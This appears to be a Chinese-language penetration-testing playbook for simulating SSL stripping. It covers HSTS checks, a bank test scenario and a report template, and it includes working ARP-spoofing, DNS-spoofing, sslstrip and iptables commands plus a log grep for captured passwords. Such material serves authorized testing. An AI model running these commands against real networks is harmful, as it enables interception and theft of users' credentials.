| name | performing-ssl-stripping-attack |
| description | 在授权环境中使用 sslstrip、Bettercap 和 mitmproxy 模拟 SSL 剥离(SSL Stripping)攻击, 测试 HSTS 强制执行、证书验证以及保护用户免受加密连接降级攻击的 HTTPS 升级机制。
|
| domain | cybersecurity |
| subdomain | network-security |
| tags | ["network-security","ssl-stripping","https","hsts","tls-security"] |
| version | 1.0 |
| author | mahipal |
| license | Apache-2.0 |
执行 SSL 剥离攻击
适用场景
- 测试 Web 应用是否通过 HSTS 头部和重定向链正确强制执行 HTTPS
- 验证 HSTS 预加载是否正确配置并已注册到浏览器预加载列表
- 在授权安全评估中向利益相关者演示明文 HTTP 的风险
- 评估内部应用和厚客户端(Thick Client)是否验证 TLS 证书并拒绝降级
- 培训 SOC 团队检测网络流量中的 SSL 剥离指标
不适用于在没有明确书面授权的情况下针对网络或应用使用,不得拦截真实用户凭据,未经变更管理批准不得在业务时间针对生产系统使用。
前置条件
- 书面授权,明确授权范围内的应用和批准的攻击技术
- 攻击机上安装 Bettercap 2.x 或 sslstrip2
- 建立 ARP 欺骗或其他中间人(MITM)定位(参见 ARP 欺骗技能)
- 攻击机上启用 IP 转发
- 使用 Wireshark 验证攻击成功并捕获证据
- 测试账户(非真实用户凭据)用于演示凭据拦截
工作流程
步骤 1:建立中间人位置
sudo sysctl -w net.ipv4.ip_forward=1
sudo bettercap -iface eth0 -eval "set arp.spoof.targets 192.168.1.50; arp.spoof on"
sudo arpspoof -i eth0 -t 192.168.1.50 -r 192.168.1.1 &
步骤 2:使用 Bettercap 执行 SSL 剥离
sudo bettercap -iface eth0
> set arp.spoof.targets 192.168.1.50
> set arp.spoof.fullduplex true
> arp.spoof on
> set http.proxy.sslstrip true
> set http.proxy.port 8080
> http.proxy on
> set net.sniff.verbose true
> net.sniff on
步骤 3:使用 sslstrip2 执行 SSL 剥离
sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
sudo sslstrip2 -l 10000 -w sslstrip_log.txt
tail -f sslstrip_log.txt | grep -i "pass\|user\|login\|email"
步骤 4:测试 HSTS 绕过技术
curl -sI https://target-app.example.com | grep -i strict-transport-security
curl -s "https://hstspreload.org/api/v2/status?domain=example.com" | python3 -m json.tool
sudo bettercap -iface eth0
> set arp.spoof.targets 192.168.1.50
> arp.spoof on
> set dns.spoof.domains target-app.example.com
> set dns.spoof.address 192.168.1.99
> dns.spoof on
> set http.proxy.sslstrip true
> http.proxy on
步骤 5:验证检测和控制
tshark -i eth0 -f "host 192.168.1.50 and port 80" \
-T fields -e frame.time -e ip.src -e ip.dst -e http.host -e http.request.uri \
-Y "http.request" > ssl_strip_evidence.txt
tshark -i eth0 -f "src host 192.168.1.50 and dst port 80" -c 20
tshark -i eth0 -f "dst port 443 and dst host <real_server_ip>" -c 20
curl -s http://target-app.example.com | grep -i "password\|login"
步骤 6:清理和报告
> http.proxy off
> arp.spoof off
> quit
sudo iptables -t nat -F PREROUTING
sudo sysctl -w net.ipv4.ip_forward=0
sudo killall sslstrip2 arpspoof 2>/dev/null
ping -c 1 192.168.1.1
核心概念
| 术语 | 定义 |
|---|
| SSL 剥离(SSL Stripping) | 降级攻击,拦截 HTTP 到 HTTPS 的重定向,在向受害者提供明文 HTTP 的同时维护与服务器的加密连接 |
| HSTS(HTTP 严格传输安全) | HTTP 响应头,指示浏览器在指定期限内仅通过 HTTPS 连接,防止后续访问中的 SSL 剥离 |
| HSTS 预加载(HSTS Preloading) | 将域名提交到浏览器维护的列表,从第一次连接起就强制 HTTPS,消除首次访问的漏洞窗口 |
| 证书透明度(Certificate Transparency) | TLS 证书的公开日志框架,可检测错误签发的证书,但不能防止 SSL 剥离 |
| 混合内容(Mixed Content) | 通过 HTTPS 提供但通过 HTTP 加载资源(脚本、图像)的 Web 页面,产生部分降级漏洞 |
| Upgrade-Insecure-Requests | CSP 指令,指示浏览器将 HTTP 请求升级为 HTTPS,补充 HSTS 以防止混合内容 |
工具与系统
- Bettercap 2.x:集成 SSL 剥离、HTTP/HTTPS 代理和凭据嗅探的网络攻击框架
- sslstrip2:专用 SSL 剥离工具,通过 URL 重写透明地将 HTTPS 降级为 HTTP
- mitmproxy:TLS 拦截代理,可修改响应头以移除 HSTS 和其他安全头部
- curl:用于测试 HSTS 头部、重定向链和证书验证的命令行工具
- hstspreload.org:公共 HSTS 预加载列表检查器,用于验证域名是否包含在浏览器预加载数据库中
常见场景
场景:测试某银行 Web 应用的 HSTS 实施
背景:某银行在其网银门户(banking.example.com)上部署了 HSTS,现在需要验证其是否有效防止 SSL 剥离。评估已授权在测试环境同一 VLAN 的工作站上进行测试,使用专用测试账户。
方法:
- 验证 HSTS 头部是否存在及其值:
curl -sI https://banking.example.com | grep -i strict 显示 max-age=31536000; includeSubDomains; preload
- 检查 HSTS 预加载状态:确认该域名在 Chrome 和 Firefox 预加载列表中
- 在测试工作站上使用 Bettercap 进行 ARP 欺骗和 SSL 剥离
- 从测试工作站尝试访问 banking.example.com——Chrome 拒绝连接并显示 NET::ERR_CERT_AUTHORITY_INVALID(HSTS 阻止降级)
- 使用全新浏览器配置文件(无 HSTS 缓存)测试——仍被阻止,因为该域名已预加载
- 测试银行移动应用——应用通过 HTTP 成功连接(未强制执行 HSTS),以明文暴露凭据
- 测试子域名 api.banking.example.com——不在预加载列表中,首次访问前 SSL 剥离成功
注意事项:
- 使用已为目标域名缓存了 HSTS 的浏览器测试,得出 HSTS 有效的结论,但首次访问的用户可能仍然易受攻击
- 没有单独测试子域名——
includeSubDomains 仅在收到父域名的 HSTS 头部后才生效
- 忘记测试可能完全不遵守 HSTS 头部的移动应用
- 未检查可能在启用 HSTS 的情况下仍泄露会话令牌的混合内容
输出格式
## SSL 剥离评估报告
**测试 ID**:SSL-STRIP-2024-001
**目标应用**:banking.example.com
**测试日期**:2024-03-15
### HSTS 配置
| 属性 | 值 | 状态 |
|------|-----|------|
| HSTS 头部存在 | 是 | 通过 |
| max-age | 31536000(1 年) | 通过 |
| includeSubDomains | 是 | 通过 |
| preload | 是 | 通过 |
| 在 Chrome 预加载列表中 | 是 | 通过 |
### SSL 剥离测试结果
| 目标 | 客户端 | HSTS 状态 | 剥离结果 |
|------|--------|-----------|----------|
| banking.example.com | Chrome(缓存) | 已激活 | 已阻止 |
| banking.example.com | Chrome(全新) | 已预加载 | 已阻止 |
| banking.example.com | 移动应用 | 未强制执行 | 易受攻击 |
| api.banking.example.com | Chrome(全新) | 未预加载 | 易受攻击(首次访问) |
### 建议
1. 在移动银行应用中实施 TLS 证书固定(严重)
2. 将 api.banking.example.com 单独提交到 HSTS 预加载列表
3. 添加 Content-Security-Policy: upgrade-insecure-requests 头部
4. 为该域名实施证书透明度监控